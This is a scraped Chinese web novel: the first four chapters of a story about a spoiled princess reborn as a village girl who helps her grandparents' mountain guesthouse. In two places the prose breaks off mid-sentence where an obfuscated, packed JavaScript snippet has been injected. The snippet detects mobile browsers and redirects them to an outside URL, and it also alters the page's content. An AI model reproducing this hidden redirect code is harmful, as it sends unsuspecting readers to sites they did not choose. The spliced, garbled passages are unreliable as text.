《殿下的农家乐成精了》 1. 一 吉城最东端,趴着一座数不清年头的山,名为小昭山。 此山山背靠海,地处边陲要塞,古往今来若是外敌想要进军中原,非得踏平这小昭山才算入了关,要说这山底下埋的是百姓将士们的白骨,那可是一点儿也不夸张。 如果忽略掉沉重的历史,小昭村的的确确身处在这么一个可以称得上“依山傍水”的好地方,百年来一直也是中原内陆地区的游客钟情光顾之地,但奈何——小昭山的历史,根本沉重得让人忽略不掉。 “白骨?” 残阳在一片榴火晚霞下依旧分外血红,这个时分村子里的人大多吃完了饭聚在谁家柳树下谈着天,不过成人膝盖高的毛孩长得格外皮实,浑身都是上爬下窜得来的紧实肉,他这一张嘴,逗得几个华发老者相视一笑,悠哉悠哉地开口道: “是啊,传说啊这座山原本没这么高,都是那成千上万具枯骨风化后埋在了土里,一层一层给叠起来的。” “可不嘛。” 一向好事儿长着厚唇,上下两瓣总是油闪闪的静莲姨端着个碗近了些这伙人:“小赵晋啊,说不定你脚下踩着的土,里面混着的就是哪朝哪代的小将军呢。” “嘿,这个嘴可小心点儿——” “别吓着孩子了——” 赵晋背后一凉,脚下没把门撒开就跑,好像那长着油光厚唇的静莲姨是什么吃人的魔鬼,从她那一张一合的嘴里吐出来的气能摄人心魄似得。不过很快,那点儿汗毛直立的劲儿就随着小孩撒开欢跑起来的动作没了个干净。 耳边呼啸而过的风一并将天上泛着光亮的血球给拖拽下来,只是五六岁的孩子心里好奇总是大过畏惧,这会跑到大人明令禁止靠近的后山也不见得慌,只是步子慢了下来,打量着传言中的禁地。 后山因鲜少有人去,年久失修的路灯总是忽明忽暗,这会入了夜,赵晋看不太清路,只能靠着本能摸索着向前,偏偏脚下的路实一阵虚一阵,让他连着踩了好几个空,到这时,他脑子里才陡然浮现出静莲姨那比过年杀的鸡溅出来的血还要红的嘴唇,以及方才从那嘴唇里吐露出来的话语—— “你脚下的踩着的,说不定是枯化了的骨混着蠕动的蛆哦~” 恍惚间,他的脚尖似乎是踢到了一个柔软而沉重的东西,让他身形不稳,下意识向前倾倒,不过膝盖和手肘托草泥的福,没怎么摔疼,因此进学只是闷哼一声,缓着劲想要爬起来跑回家。 “好疼啊——” “疼啊——” “啊——” 然而,还没等他完全站立,四肢像疲惫的狗一样狼狈地匍匐在地时,自暗处浮起而明显带着怨念的女声因狭长的山间小道而不停回荡在他耳边,这下可把五六岁的小屁孩给吓得六神无主,嘴里不停的叫唤着“妈妈”,渴望这时正在追着晚八档黄金偶像剧的女人从天而降,叫后山的妖魔鬼怪迅速闪开。 “真是好大的胆子。” 只可惜,追剧的女人听不到狗孩子的求救声,眼下,只有那“女鬼”的斥骂声在赵晋的头顶上像沉闷的钟声不停回响。 只是这声音......似乎有些熟悉。 “踩到本宫的手,以为跪着就可以让本宫饶你一命吗?天真。” 努力忽略掉神经兮兮的话语,赵晋颤颤巍巍地抬起头来,女人白皙的脸在月光之下可以说是惨白一片,不过好在她面上没有什么可怖的血痕,好在她两只眼也是黑白分明,而没有扩散开来的死黑瞳孔。 好在她是自己认识的人——后山那“照鹿台”家的小潞姐姐,也是他的表姐。 确认了女人身份后,赵晋这才惊觉现状似乎也没有好到哪里去。 虽然是个活人,但却是个疯女人! 小昭山谁人不知照鹿台的那位,在高考落榜后就变成了个只知道胡言乱语、举止奇怪的失心疯? 这也是村里人不让小孩来后山的其中一个缘由。 “庶民!仔细些你的头,怎么还敢抬起来?” 赵潞借着月光仔仔细细打量这跪趴在地的小孩,衣不蔽体就算了,连头发都乱糟糟的竖立在头顶,唯恐和这小孩对话降低了自己的身份,因此她只是屈尊抬了抬下巴,斜睨着在地上一动不敢动的小人儿: “把你们县老爷叫过来,记得给本宫弄个软撵。” 这山沟沟,也不知为何她诈尸还魂会来到此处。 或许此地是个阴间的驿站? 真真是造孽,明明前一刻她还在她的公主府内对着史官新作破口大骂,势必要违法大赵律法将那损人不利己的史官揪出来好好出气一顿,奈何一口气没顺上来,两眼一翻,直直垂倒在那兔毛软垫上,人倒是没摔疼。 原来已经被气死了。 天姬潞性矫饰,好矜夸,玩烹调而不能成其艺,乃以膳祖自称。少时喜游山,历经列国,养尊处优,奢腐异常,府中无夜? 念及半晌前读到的穷词烂句,赵潞冷笑,上挑的狐狸眼内是被骄纵惯养后凝练出来的自负与冷意,她抬起脚颇为嫌弃地轻轻踢了踢匍匐在地的少年:“还不快动?还要本宫请你去么?” 赵潞当然不知道,赵晋此刻哆哆嗦嗦的根本不是因为畏忌什么天朝皇家,而是觉得大人们所言非虚。 照鹿台家的姐姐,真的疯了! 小小的一个人此刻连哭的胆子都没了,只能低下头来咿咿呜呜地张嘴,不慎连贯地求饶:“小潞姐姐,小潞姐姐,堂姐!求求你放过我吧,我再也不来后山了,我再也不来了!” 东一句西一句的,赵潞看着小屁孩新鲜吹出的鼻涕泡,嫌恶地退后一步。 面前小孩竟然是个痴傻的,她索性懒得追究他那沾亲带故的大不敬,毕竟此时月黑风高,此景荒郊野外,要是遇上什么事,保不齐自己刚回的魂又灰飞烟灭了。 现在最重要的,是先离开这个鬼地方。 “庶民,你先带路出去,本宫考虑饶你一命。” 听到疯姐姐的语气好些了,进学才怯生生手脚并用地从地上站起来,他不敢再抬头,唯恐再把眼前的女人给惹恼。 他左右一晃头,这会儿还不算进了后山,两边山拢得很近,只留下一条窄窄的狭道,两边的枯植疏于打理,即便此刻已经到了草长莺飞的季节,还是枯黄一片,散落在地上,叫人走在上面发出些难听的嘎吱碎裂之声。 赵晋掉头,离开的路他闭着眼都知道怎么走,直直一条,不需要记路。只是原本不到十米的路,二人硬生生走了半个时辰,赵潞耐心被一寸一寸消磨殆尽,她想揪起小儿的耳朵,却又怕脏了手,上下嘴皮子不耐地“啧”了一声,叫停了抖动幅度越来越大的小孩。 “别走了,是鬼打墙。” 这小路她刚刚便扫过一眼,横竖不过五十米,不可能半个时辰都走不到尽头。真是虎落平阳被犬欺,往日里妖魔鬼怪全然不敢近身,这会边野小鬼都敢触自己的霉头。 “连阴曹地府都不敢去的懦夫,还不速速现身?” 只是还没等鬼怪现身,她的小腿就被一团热乎的肉给贴着了,赵潞低头一看,看到的是抖成筛子的庶民小孩。 她深吸一口气,咬着牙齿道:“给本宫撒开手!” 看到那脏兮兮的小手死命扒拉着自己身上洗到泛白却依旧洁净的,不知何种布料制成的裤子,赵潞捻起两个手指捏过不知死活少年的耳朵尖声道: “成何体统!有本宫在,怕什么鬼?” 赵潞比起鬼更讨厌别人碰自己,毕竟她可是年年都给战神庙翻修换像,身上的正气绝对能够抵挡得了世界上最凶猛的野鬼,只是眼下这小童怕的气都顺不上来,荒郊野外,空无一人,如果他晕过去了岂不是更麻烦? 还是先叫这挡道的恶鬼滚一边去吧。 赵潞咬破手指后举起在虚空化了一道雷符:“应烛长明,诸暗不近!” ...... 小昭山上有个不为人知的山洞。 山洞在后山通向后海必经之路的拐角处,前拥悬崖,呈现一个半包围的悬天之色,因此坐落在此处洞内的土地庙已经近百年无人光顾。 它本该就此沉寂下去。 此间灵气充盈,若从百米开外俯望小昭山,将看到一层泾渭分明的保护罩,这浓郁的灵气被一股看不见的力量稳稳托住,这本该是个修炼的绝佳胜地,然而小昭山地界特殊,长久以来处于一个“三不管”的境地,因此无论是人鬼还是妖兽都卯足了劲儿地长,此间不仅容纳得了山间异兽,就连被世人所惧怕的妖魔鬼怪都把此地当成了容身之处。 简而言之,危险出奇。 更何况山间无老虎,猴子称霸王。 管事儿的土地大公沉寂了千年,老天爷也没再派个神仙接管,这不就明晃晃暗示着魑魅魍魉可以胡作非为么? 这会儿一个毛都没长齐、道行统共不过百年的毛猴在土地庙里打着盹,随着空气中气流微动,耳朵似有感召地轻轻一动,嘴里碎碎念地说道着梦话。 “白骨成精,凡人遭殃咯——” 忽地,毛猴陡然屏息,本眯着小憩的双眸猛地张开,目眦欲裂。 不,不仅仅是这顽猴没了声响,风与气流皆在同一瞬被一只无形的手死死按住,随后猛然向外一迸! “嘣——” “嘣——” “嘣——” 三声巨响一声一比一声更为压迫,慈眉善目的蛛网缠绕的土地神像从左心处裂开了个大口,裂口随着震耳欲聋的爆破声而向四肢扩散开来。 毛猴还维持着单手撑头的姿势,就这么面对面地眼睁睁看着一个白衣翩翩,煞气逼人的八尺男儿从佝偻年迈的土地公公内钻了出来。 这下毛猴可是正儿八经全自然情况下四肢僵直了。 天老爷,土地公公活了! 不仅活了,还返老还童了! 很快,一股清冽到极致的香,像雪山顶上融化的第一滴水,又像亿万片竹叶在月夜同时绽放,就这么蔓延到了毛猴的灵台之上。 “心情好,饶你一命。” 毛猴没来得及看清土地神的容颜,只堪堪被他那绝尘的衣袂一扫鼻下,便连他的影子都看不见了。 ...... 在赵潞念完应烛大帝的护身诀后,不仅是后山,就连是在小昭村内的众人都听到了足以地动山摇的三声巨响。 “这么有用...?” 难怪皇兄成天和那个钦天监厮混,原来他真有本事啊。 赵潞感受到周遭的阴气很快消散,忽略掉挂在腿上的小孩充满了崇拜意味的眼神,两人很快来到了后山的入口。她刚想开口叫庶民撒手,就被身后匆匆赶来的脚步声给惹得更为烦闷。 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这种熟悉还带着一股讨人嫌的意味。 而且啊,这个讨人嫌的众矢之的还是她自己。 虽说赵潞有头顶的皇兄罩着,在赵国一贯万人之上一人之下的做派,但对于这种被人粘在舌头底下的滋味可是从小体验到大。 她刚想用曾使过上百次的方式发作,叫面前的这些人闭嘴,就被一只温暖粗糙的、布满纹路的手握住了,那只手的主人还用有着老茧的指腹安抚般磨搓着她的掌心。 “乖女啊,跟奶奶回家吧?” 奶奶? 赵天姬平生就没有什么说得上话的好友,就连亲人也只有那坐在皇位上的独独一个,现在在这荒郊野外的突然冒出劳什子表弟和奶奶,还被这自称亲戚的老家伙摸了一道手,怎么这样占人便宜的? 但她竟然不想松开。 见了鬼了。 另一个老家伙将一件藏青色棉大衣披在了她肩上。 “潞啊,爷做好了糖醋排骨,就宰的你昨天盯了一整天的那头猪,香得很,回去尝尝好不好?” 穷山恶水,估计离都城要个十天半个月的距离,眼下—— 要不先尝尝那头可怜的猪吧? 女孩额前散乱的头发被老人踮起脚重新绑起,那白净的小脸露出来的一瞬,人群中碎碎念声更多了些,其中大多是什么“可惜是个疯的”。 “赵二伯,我们先回去了,你叫潞丫头好好搁屋里呆着,别老出来吓人。” 赵潞敏锐地察觉到糖醋排骨的主人僵了一瞬,在黑暗里都能看到他干裂的嘴唇上下颤动,似乎是不知该作何反应。 这刁民欺负人欺负到她头上来了? “哎哟。远远瞅见一血盆大口飘了过来,怎么仔细一看这上面还长了眼睛呢?” 她转过脸来,下颌微微扬起,双眸自上而下地落在了刚刚出言不逊之人身上,嘴上虽然说着气死人不偿命的话,语气却是漫不经心的调调。 官静莲瞧着平日里畏畏缩缩不敢抬头看人的疯丫头此刻竟然能言善辩地把她摆了一道,甚至还傲得很,很是瞧不起人的样子,涂抹着红脂的嘴上下一碰,刚发出“嘿”的一声想要反击,就被二老乐呵呵地一笑揭过。 “时候不早了,最近不太平,各位还是早些回去吧。” 果然,有好事者一听这话来了劲,接过话头,没给官静莲发挥的空间:“赵老,那些传言是真的?” 卢瑛华发修剪整齐,背部也不曾佝偻,此刻虽然回着话,但眼睛却没离开过自家的孙女。 “老头子前些日子砍柴火的时候,看到了好几个怪件儿,瞅着像白骨精。” 抱着赵晋的女人忙拍了拍怀中孩子的背,一旁的赵遂也凑近了些母子捂好男孩的耳朵:“白骨精?二伯,您没看错吧?” “哪能?” 赵声摆了摆手,随后搓了搓因夜风而微凉的后脖:“你们也知道,照鹿台这几个月稀奇古怪的事情就没停过,停业的这段时间虽然好了些,但怪事也时不时发生。” 听到赵声这么说,官静莲也不瞪着赵潞了,将视线忙往旁边一移,双手挡在胸前:“别神叨叨的了赵二伯,怎么可能真有鬼?” 也不知是不是特意回应这句话似得,后山小道上突然狂卷了一道极为凛冽的寒风,将想说话的几人都吹得闭起了嘴,跟着赵遂来找小娃娃的几个年轻人看到孩子也找到了,再加上这有些瘆人的氛围,索性就说要回去准备第二日的年夜饭了。 见几个身强体壮地碎碎念着“邪得很”屁滚尿流地爬开了,剩下的几个也没了留下来的理由,匆匆告别赵家二老,往村子里去了。 “潞啊,回家吧?” 见老太太又想牵着自己的手,赵潞连忙往一旁平移了一步:“老太太,本宫可不是你孙女。”本以为还得再掰扯好一会,却见面前身着碎花袄的短发老婆婆只是笑着。 “好,今天乖女想当什么?” ...... 这是把她当成村里人口中的那个疯子了吧?还是说,眼下自己操纵的这身躯,本就是那个疯子的? 摸了摸饿空的肚子,赵潞良久开口。 “饿了,去用膳。” 2. 二 日上三竿,斜阳暖照,一向背山的照鹿台似乎也享了几分大年初一的福,往日里的阴冷潮湿全然不在。 赵潞刚吃了一口老大爷昨晚冻上的冰糖山楂,就被一碗热气腾腾的“暗器”给扑了个满面,始作俑者还顺着把她手上的糖葫芦抽出,再拿出了一双木筷补了赵潞手上的空隙。 她低头一看,那暗器是碗暖胃的鱼汤面条,里面还卧了颗金灿灿的流心蛋。 汤面微微晃着几圈金黄的油花,底下是莹白中透着些许奶色的汤汁。不粗不细微微扁的雪白面条安静地呆在汤里,温润光亮。贴着面条的一片片鱼肉,隐约可见蒜瓣似的纹理,微微绽开,吸饱了汤汁,饱满得要滴出水来。几星嫩绿的葱花,再点缀几粒嫣红的枸杞,清清淡淡的一碗,却比任何浓油赤酱都来得勾人。 赵潞情不自禁地用瓷勺轻轻一搅,那股鲜气便彻底活了过来。它不是浓烈的、冲撞的,而是带着鲜甜暖意,丝丝缕缕地钻进鼻腔,她忍不住先低头抿一口汤,当汤汁滑过喉间,鲜味瞬间在她身体里炸开,又温柔地化开,暖意从胃里直通到四肢百骸,每个毛孔都舒坦得张开。 挑起一筷子面,挂满了莹润的汤汁,送入口中,爽滑弹牙。再夹一块鱼肉,轻轻一抿,鲜甜细嫩,入口即化。 “好吃吧?” 直到一整碗面条下了肚,身边的卢瑛才笑眯眯开口,她刚刚光顾着看乖孙女大快朵颐了,自家乖女咋吃饭都这么好看呢? “尚可。” 接过老太太递过来的素色手帕,赵潞颇为矜持地轻轻擦拭了下嘴角,随后将碗筷置于桌上,起身颔首:“本宫先回房了,老人家您受累。” 看着赵潞一点儿也不想干活的样子,卢瑛非但没生气,反而响起了几声极为响亮清脆的笑声,扭头对正在喂鸡的赵声乐道:“乖女都知道体谅别人了,老头子,潞潞真的好转了!” 照鹿台虽然取这个名字,却不是个供人玩乐的地方。 它是由石头和木头搭建出来的三层小楼,院子里青石板路旁林立桃树,花开得正艳。和落锁多月的堂厅相连着的房屋是个半开放的厨房,角落的土灶台还温着昨晚剩下的排骨。 一楼大多数房间都上着锁,不过这并没有消减照鹿台的人气儿,这里的动物大多散养着,一群黄茸茸的小鸭子和羽毛鲜亮的大公鸡正低头啄食,偶尔扬起脖子发出几声清脆的啼鸣,默契地躲避着猪牛。 近山崖的一边是规整的小块菜地,青菜、萝卜和香葱长得绿油油的,和爬满外墙的绿藤相得益彰,要是视疲劳患者在这呆上一天,不用什么灵丹妙药,全然好个利索。 沿着木梯上二楼,几间以节气命名的客房铺着浅色木地板,推开窗就能看见后山的绿意,只是家具劳什子的多铺了防尘布,也是经久无人光顾。 再往上到三楼,朝南的房间是两位老人家的,赵潞没有进去过,她对于平民的生活没有什么了解的兴趣,越过两位的房,就是她暂住的地方了。 屋内斜顶天窗正对蔚蓝天空,房间里陈设简单,一张老式木床靠墙摆着,铺着手工弹的棉花被褥,洗得发白的素色印花布床单有股阳光晒透的味道。地上是磨得温润的青砖,窗边还有一把竹躺椅,扶手上搭着件旧毛衣,山风穿过纱窗进来,带着远处隐约的溪水声,撩得墙上的年历轻轻翻动,阳光正甚,吹散了些寒气。 本是岁月静好的安详模样,奈何赵潞从小含着金汤匙出生,即便是雕着金的真丝被都要被她嫌弃好一阵,现下还莫名其妙地诈尸还魂到了个全然陌生的地方,看了眼楼下开得正盛的桃花,扭头将自己轻拿轻放地塞到了竹躺椅上: “此地稀奇又穷酸呐。” 桃花早熟和自己诈尸还魂成与自己长得一模一样的乡野农女也不知哪件事更古怪,不过随着赵潞打开楼下两位老人家给自己的“黑色琉璃”,她心不甘情不愿地将这玩意儿排成“第一神”,就连亲身遭遇的鬼打墙都只能甘居第二。 昨晚老奶奶给自己演示了使用方法,帮她把字调成了能看懂的样式,还贴心地把那些西洋文的小格子换成了可以书写成文的。 这能发光的物件叫“手机”,里面估摸是囚禁了什么上古妖魔鬼怪的精魄。 思及此,她轻轻嗤了一声,扬起下巴,嘴角挂着淡淡的不屑,余光却未曾半刻离开。 赵潞下意识坐得直了些。 罢了,总之还没找到回去的方法,还不如探查一番,左右她有神仙护体。 “不堪入眼。” 赵潞有一搭没一搭地浏览着那群衣不蔽体的男人摆弄着四肢,好说歹说如今也是消雪时分,这群人怎么穿的如此轻薄? 莫非这后世真有什么可供万民修炼的避寒功? 点开老人家声称可以解惑的地方,一笔一画认真写出:“防寒法術”,然而引入眼帘的并不是什么法术口诀,而是一些莫名其妙的白色柱体。 “美x空调,海海姐妹空调...什么玩意儿。” 至此,赵潞探索后世的兴趣就此陨灭。 “哎,早知道不看那些史官对本宫的攻讦了。”赵潞从竹躺椅上起来,站到窗边往楼下张望,看到两位老人家正在将嫩得翠绿的白菜从田地里收割了些,随后老奶奶进了厨房,老爷爷则进了仓库。 似乎都各有各的忙,独她一人索然无味。 虽说她乐得清净,但也忒无聊,这里没有叶子戏,没有投壶,连说书的先生都不见半分踪影,早晨要自己洗脸,到了暮时也无人伺候沐浴。 要不再把自己气一顿,说不定就回去了呢? 后世对自己的评价,估计是更加尖酸刻薄。赵潞这般想着,拿起手机没甚犹豫地输入赵潞二字,方寸之间,在名字之旁的,赫然就是自己十五岁那年宫廷画师给自己作的画像。 只是这一眼,让赵潞心凉了好半截。 “该死,本宫的墓怕是叫后世之人给挖了!” 一口气提在了赵潞的喉间,她有预感,再看到些史书中那些出言不逊的记载,她就能一命呜呼,回到皇宫里继续当殿下享福了。 奈何天不遂人愿,她点开名为赵潞赵天姬的词条,字里行间半分半分挖苦的话都没有。 【赵潞,赵国公主,史多称满吉公主,故又号满吉帝姬。其为赵国末帝赵靖同母妹。父启帝崩,母卢后难产而亡,遗一女,是为潞。是日,太子靖即位于柩前,而天姬于襁褓不啼不闹,安静异常,宫中异之。因其封号与生平,后世亦以潞天姬代指。】 【天姬于赵国危亡之际,被视为社稷寄托。然国势倾颓,终难挽回。相传潞天姬身陨之后,赵国灭亡进程骤然加速,故时人以“潞天姬在,赵未亡”喻之,意指其存续关乎国运,其人殁而国祚尽。其具体事迹多见于野史杂谈,正史所载甚略。】 “哎哟哎哟,社稷寄托,了不得了不得,等等...国势倾颓?” “乖女真好学,国势倾颓应该指的是亡国之意吧。” “嗯?” 赵潞眉开眼笑,还沉浸在这满屏的夸夸之中,对于从史书中看到对自己有利言论的滋味感到陌生得很,旁边老奶奶的解惑之音显而易见在赵潞脑子里从南到北转了一圈,再慢悠悠地回到正中心。 顿时,如遭雷击。 “亡国?” “亡国!狗屁,赵国国力强盛,百姓富足,外敌已降,亡哪门子的国?” 她猛地低头,仔仔细细反复研读。 的的确确,上面说的赵国亡了。 【靖三十六年,时雪连七昼,冻饿死者甚众,天姬自请离宫,巡至山野,尝百物,寻食果腹,救民于绝境。】 【靖三十七年,天灾降,流民乱,天姬于边陲山野平地起城,容流民万人。赵天姬智勇兼之,良善万古。】 【靖四十年,天姬薨于外,棺近则燃木,莫敢棺,然岁余,身不朽,状酣眠。同年,赵帝色令智昏,断袖忘国,观过往天变,世人皆由阴气太盛,阳道微弱,阴气乘之,故地震示警,旱蝗为灾,雪覆无间,大厦将倾,赵帝自焚谢罪。】 “断袖!?可笑,真是可笑,皇兄怎么可能是短袖,他身边别说男人了,一个女人都没有!” 等等...... 娘啊,还真是一!个!女!人!都!没!有! 赵潞再次低下头来,不可置信地看了又看,她攥紧了手机,捏得指节发白,良久,轻轻吐出二字:“罢了。” 怎么说也不可能是因为这个原因让赵国灭亡的。 “乖女,想要了解历史的话,要不要买本书看看?我看着这底下有链接呢,前段时间村里新建了驿站,网购也方便了。” 卢瑛的话让赵潞从震惊当中抽身过来,她抬起头看着面前老人苍老却分外清明的双眼,理解老人话中意思后,点了点头:“若有史书参考,自是最好不过。” 卢瑛听后脸上浮起了笑意,从荷包里掏出她自己的手机打开橙色软件,很快就搜索到了书籍界面,赵潞有些好奇,但又不想凑过去看失了分寸,于是用余光轻瞟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皂角的清香夹着一点陈年的樟木香气,从身体里透出的温度将这一切都挥发出来,萦绕在赵潞的鼻尖。 不难闻。 赵潞不想承认,但是的确不难闻,甚至可以说,比宫里常用的以甘松、白芷、牡丹皮、白梅制成的燃香都要好闻。 “哪里来的猫?” 卢瑛松开了抱着赵潞肩膀的手,没注意到孙女幽幽的眼神,弯下腰来想要逗弄,却扑了个空,她也不恼,好脾气笑着感叹。 “这小猫,还挺傲。” 猫身通体雪白,一丝杂质都看不见,赵潞匆匆一瞥便继续沉浸在与卢瑛远距离的不满情绪之中,突然,感受到那一团毛茸茸的东西贴着裤腿,从左到右,慢慢地、重重地划过去。 蹭到尽头,它又折回来,这回把整张脸都埋进裤缝里,使劲揉,像要把自己的气味全留在上头。喉咙里咕噜咕噜地响,那声音顺着裤腿传上来,震得人心都软了,只可惜赵潞并非常人,她现下满心满眼的都是面前的老人家身上的味道。 “看来小猫也喜欢潞潞,乖女就是这么讨人喜欢。” 卢瑛撂下这句话,便瞧着院子里的赵声正在一人端三盘,忙过去帮忙。留下一人一猫在楼梯间两两相望。 恰逢一阵风飘过,将一股极为清冽的味道混着桃花香自下而上送到了赵潞面前,她低下头轻轻踢了脚抓着自己裤腿不放的猫咪,嘴里嘀咕着:“桃花还挺香...你这狸奴别挡道,本宫要用膳。” 寻常猫要是被踢了,保准恼得龇牙咧嘴,也不知这猫是不是痴傻,被她这么一脚下去,还腻着嗓子喵喵叫,一步三回头地在赵潞面前走着,直到大木桌也没离开,顺势趴在了赵潞脚边,猫尾有一搭没一搭地拍着。 最终,赵声以“这猫还真是有灵性”为理由,和卢瑛一拍即合,将这猫收入照鹿台麾下,赐名“大白君”。 对此赵潞毫无异义,毕竟她根本没空参加讨论,一心一意地吃着猪油炒白菜和蒜炒回锅肉。 猫养就养咯,反正也不吃自己的喝自己的。 这回锅肉啊,边缘焦黄油亮,豆瓣酱的红油裹满每片肉,混着青蒜段翻腾出锅,趁热夹起一片,肥而不腻、瘦而不柴,蒜辛酱咸里透出一丝回甘,咬下去满口生香。 这炒白菜啊,嫩白菜帮子用舌尖轻轻一捻就裂,油亮亮的白绿相间,乳白的汤汁温润醇厚,拾起一筷子浇在米饭上,香气扑鼻。 赵潞放下吃得一干二净的碗,摸着肚子想,只要菜管够,甭管猫啊狗的,要是让她养什么天上神君,她也绝无二心。 见一人一猫相处融洽,卢瑛总算放了心,和赵声一起收拾碗筷。恰巧一阵风过,吹落一片桃花,飘飘悠悠落在赵声头顶。她笑着拈下花瓣,似是随口问道:“老头子,今年春华祭还办不办?” 3. 三 赵潞吃饱喝足,将狸奴抱在了怀里,太白君也是乖得很,窝在她怀里跟个毛绒玩偶似得,好像生怕惊扰这位殿下的安宁,落得扫地出门的境地。 午时春光明媚,照在人身上暖烘烘的,这会听到了卢瑛的问题,赵潞来了兴趣,半眯着眼:“这春华祭乃是何物啊?” 水流哗哗响着,赵声手上的动作没停,朝老伴那边抬了抬下巴:“传言虽然传得厉害,但春华祭的事儿,估计黄不了。” 一旁,赵潞早就支起了耳朵,这会儿见爷爷话落了地,立刻凑上来,眨巴着眼睛问:“什么传言?” 赵声擦干净手,把毛巾搭回架上,看着孙女那副刚开窍似的认真模样,语气不自觉地柔下来,又忍不住带上笑意:“潞潞这是想问春华祭呢,还是想听传言?” 听着这哄小孩的语气,赵潞笑容一愣。 她别扭地撇嘴:“都想知道。” 这幅难为情的样子很快逗乐了赵声和卢瑛,卢瑛端来刚刚剥开切好的橙子摆在赵潞面前,就着赵潞身边坐下。 “传说啊,千年前的吉城是个无人之境,天地之间唯有乱民和被贬下凡的神仙在这里惶惶终日,幸甚有个鹿仙子光顾于此,将混沌的山水染得翠绿,将桃花种满小昭山,孜孜不倦给予迷途之人指引,仙逝之后,祂的爱人从天而降,悲伤让整个鹿城大雪弥漫,苍白覆盖了整个小昭山,唯有桃花不败。” 唯有桃花不败...... 风起,赵潞似有所感,抬起头。漫天桃花正簌簌飘落,绯色的花瓣雨将小院笼罩。 此时大年初一,而桃花树鲜妍不改,不见半分冬日的萧索。 莫非传说确有其事? “所以春华祭是为了纪念这鹿仙子?” 话音刚落,怀中的狸奴不安分地轻轻舔了舔赵潞的手指,奈何赵潞根本没空理会这贪吃的小东西,全心全意地看向二老,纵容狸奴轻轻啃咬着殿下柔嫩掌心。 “真是聪明。” 卢瑛找来牙签插在橙子肉上,将盘子往乖女面前推了推:“‘仙境香桥桃乐渊,善男信女结良缘’就是这春华祭每年的噱头,不过除了这良缘的诉求,雪山桃树农家乐这些就够外面的游人津津乐道了。” 原是如此。 这照鹿台原也是做招待观光客的生意,虽然不知为何停业,但想来估计和刚刚老爷子谈及的‘传言’脱不开干系。 “至于这传言——” 赵声把话音拖得长长的,目光落在赵潞身上——小姑娘腮帮子塞得鼓鼓囊囊,正嚼得起劲。他似乎在掂量这些话该不该跟一个刚从疯病里醒过神来的孩子说。 “唔..说吧,没什么妖魔鬼怪能近得了本宫的身。” 橙肉清甜,汁水在齿间化开,橙香便丝丝缕缕缠上了赵潞的指尖。 一盘吃尽,她正要擦手,怀里的狸奴却先一步凑过来,温热的舌头舔过指缝,细细密密,一处都不肯放过。太白君吃得很认真,仿佛那残存的橙汁是什么了不得的美味。 赵潞指尖下意识微微一颤,但奈何注意力根本不在这太白君身上,于是没躲,给了狸奴可乘之机。 嘴上能屈能伸地忙催着:“爷爷,好爷爷,告诉我吧。” “好丫头,还记得昨天爷爷说过的白骨精吗?” 赵声眉眼弯弯,一边好笑地摇摇头,一边端着水果盘再去水池:“那是唬人的。” 感情昨天二老一唱一和就是让那群人赶紧散了,赵潞起身弯腰将猫放在地上,刚想回房继续操作黑盒子了解一下异世,身后老人的话就再次让她定住身。 “但小昭山怪事频发不假。” 小昭山山头住了个王婆,有天晚上去河边洗衣服。洗着洗着,身后老是传来窸窸窣窣的动静。老婆子眼神是不太好使,可她确确实实看见了十几个黑影,一个接一个地从她背后冒出来。王婆壮着胆子问了一句,但没一个人理她。回家之后,王婆发了好几天的高烧,烧得人都糊涂了,现在都口不能言。 还有一个从上面派下来的村官,年纪不大,平时老老实实的,帮村里人跑前跑后,办了不少事。结果有天夜里走夜路,碰见一个人,面生,从来没在村里见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406875|200559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那人正蹲在那儿吃饭呢,可面前摆的全是空碗,他还在那儿埋头扒拉。 接着赵声压低声音说:“然后那村官,第七天头上,突发心梗,人没了。” 赵潞听完,胳膊上汗毛都竖起来了。她偷偷搓了搓手臂,故作镇定道:“妖魔鬼怪乌合之众罢了,那爷爷,昨天晚上你说的照鹿台这几个月发生的怪事,是真是假?” 赵声一哂。 “这倒是真。小瑛往日里都是靠着鸡声打鸣起的床,结果有天她睡过了,我又不在,去山下买些调料去了,她去鸡圈一看,发现里面躺着个吃饱喝足的黄鼠狼。” 赵声一桩接着一桩说着。 今儿是新鲜菜叶子隔夜就烂成泥,明儿是没人住的客房,床铺上莫名其妙落一层灰。事儿不大,却邪门得很,往常也就当个乐子讲,可偏偏这小昭山本就“盛产”怪事,又偏偏赶上自家孙女那场突如其来的疯病。 二老一合计,得了,关门吧。 时止则止,好好陪着孙女过一年四季,比什么都强。 说来也怪,照鹿台歇业之后,那些乌七八糟的事,一件都没再发生过。 赵潞这边思忖着,脚边的太白君不胜其烦地扒拉着她的裤脚,让这殿下没好气地瞪了一眼:“粘人精。” 她收回目光,思绪却没断。 所谓的‘怪事’,似乎都是发生在夜间。 再往深了想,若真是鬼怪作祟,这点手笔,未免也太……小家子气了? 日日被夫子按着脑袋研习诡道的殿下,脑子里几乎是在瞬间跳出二字:人祸。 她回头,悄悄望向二老,他们虽已是不惑之年,那双眼睛却清亮得很。 也不知道得罪谁了。还是这照鹿台生意太好惹了妒忌? 赵潞摸了摸自己吃得溜圆的小肚子,忽然伸了个懒腰,漫不经心地开了口: “春华祭那天,游客肯定多。照鹿台要不重新开门做生意吧。” 她顿了顿,嘴角微微一翘,补了一句—— “就当是为忙不过来的乡亲们,分个忧。” 4. 四 “言之切切,意也昭昭,虽露骨而不觉轻浮,文中字字皆出本心——真真是伯牙遇知音,此作实乃慧眼独具,识见不凡呐。” 赵潞伸出一只手在一旁的火炉前烤了烤,白净的小脸在樱红粉袍下显得更加粉通通,乌黑的头发被卢瑛绑成了两个小丸子落在耳边,她昂着脑袋,得意之色早在翻开的第一页就从眼角眉梢给淌出。 